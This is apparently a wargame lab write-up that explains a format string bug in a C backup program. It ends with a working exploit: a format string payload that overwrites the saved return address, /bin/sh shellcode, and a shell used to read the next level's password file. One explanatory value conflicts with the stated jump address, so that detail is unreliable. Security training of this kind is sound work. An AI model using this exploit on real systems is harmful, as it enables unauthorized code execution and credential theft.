For this lab, we are given a program and its corresponding source code:
/*
* Format String Lab - A Problem
* gcc -z execstack -z relro -z now -o lab4A lab4A.c // -z now compiler flag marks the GOT as completely read-only
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#define BACKUP_DIR "./backups/"
#define LOG_FILE "./backups/.log"
void
log_wrapper(FILE *logf, char *msg, char *filename) //msg = "Starting back up: " || "Finied back up " //filename = argv[1]
{
char log_buf[255];
strcpy(log_buf, msg); //"Starting back up: "
snprintf(log_buf+strlen(log_buf), 255-strlen(log_buf)-1/*NULL*/, filename);
//"Starting back up: %x%x%x%x"
log_buf[strcspn(log_buf, "\n")] = '\0';
fprintf(logf, "LOG: %s\n", log_buf);
}
int
main(int argc, char *argv[])
{
char ch = EOF;
char dest_buf[100];
FILE *source, *logf;
int target = -1;
if (argc != 2) {
printf("Usage: %s filename\n", argv[0]);
}
// Open log file
logf = fopen(LOG_FILE, "w");
if (logf == NULL) {
printf("ERROR: Failed to open %s\n", LOG_FILE);
exit(EXIT_FAILURE);
}
log_wrapper(logf, "Starting back up: ", argv[1]);
// Open source
source = fopen(argv[1], "r");
if (source == NULL) {
printf("ERROR: Failed to open %s\n", argv[1]);
exit(EXIT_FAILURE);
}
// Open dest
strcpy(dest_buf, BACKUP_DIR);
strncat(dest_buf, argv[1], 100-strlen(dest_buf)-1/*NULL*/);
target = open(dest_buf, O_CREAT | O_EXCL | O_WRONLY, S_IRUSR | S_IWUSR);
if (target < 0) {
printf("ERROR: Failed to open %s%s\n", BACKUP_DIR, argv[1]);
exit(EXIT_FAILURE);
}
// Copy data
while( ( ch = fgetc(source) ) != EOF)
write(target, &ch, 1);
log_wrapper(logf, "Finished back up ", argv[1]);
// Clean up
fclose(source);
close(target);
return EXIT_SUCCESS;
}
The program takes a file in the current directory and backs it up. To get the program working, we must create a backups
folder in the current working directory and add a .log
file to it.
Running chekcsec
on the binary gives us the following results.
gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : FULL
Because the program is compiled with the -z relro
and -z now
flags, full RELRO is enabled. Therefore we can neither overwrite the GOT nor the dtors section.
Additionally, there is a stack canary which prevents us from performing a traditional stack overflow to corrupt the saved return address.
Vulnerability
A format string vulnerability is introduced in the snprintf(log_buf+strlen(log_buf), 255-strlen(log_buf)-1/*NULL*/, filename);
call in the void log_wrapper()
function.
The filename of the backup is never validated before being passed into the snprintf()
call, where it is parsed and written to an offset into the log_buf
array.
The final result of log_buf
is later printed to the /backups/.log
file.
We can exploit this vulnerability by overwriting the saved return address so that when log_wrapper()
finishes, the program instead of returning back to main()
, jumps to the location of our shellcode on the stack.
Using fixenv and gdb with peda.py
sourced, we can also see that the SRA exists at address 0xbffff6ac
0316| 0xbffff6ac --> 0x8048a8b (<main+171>: mov eax,DWORD PTR [esp+0xc])
So we will want to perform 2 controlled writes to overwrite the lower 2 bytes starting at 0xbffff6ac
and the 2 bytes starting at 0xbffff6ae
.
We can also determine that jumping to address 0xbffff934
will take us safely to the middle of our NOP sled before our execve(“/bin/sh”) shellcode.
gdb-peda$ find "0x90909090909090909090" all
[...]
[stack] : 0xbffff931 --> 0x90909090
[stack] : 0xbffff954 --> 0x90909090
[stack] : 0xbffff95e --> 0x90909090
[stack] : 0xbffff968 --> 0x90909090
[stack] : 0xbffff972 --> 0x90909090
After performing some calculations, we determine that a width of %63703x
with %n
will write 0xf6ac
to 0xbffff6ac
and a width of %50891x
with %n
will write 0xbfff
to 0xbffff6ae
.
As an aside, I could have also used the %hn
format specifier with different widths to write the same values to those addresses.
Putting everything together, the following input will give us a shell.
Solution
lab4A@warzone:/tmp/lab4A$ fixenv /levels/lab04/lab4A $(python -c 'print "B"+"\xac\xf6\xff\xbf"+"BBBB"+"\xae\xf6\xff\xbf"+"%x"*12+"%63703x%n"+"%50891x%n"+"\x90"*10+"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"+"\x90"*45')
$ id
uid=1016(lab4A) gid=1017(lab4A) euid=1017(lab4end) groups=1018(lab4end),1001(gameuser),1017(lab4A)
$ cat /home/lab4end/.pass
1t_w4s_ju5t_4_w4rn1ng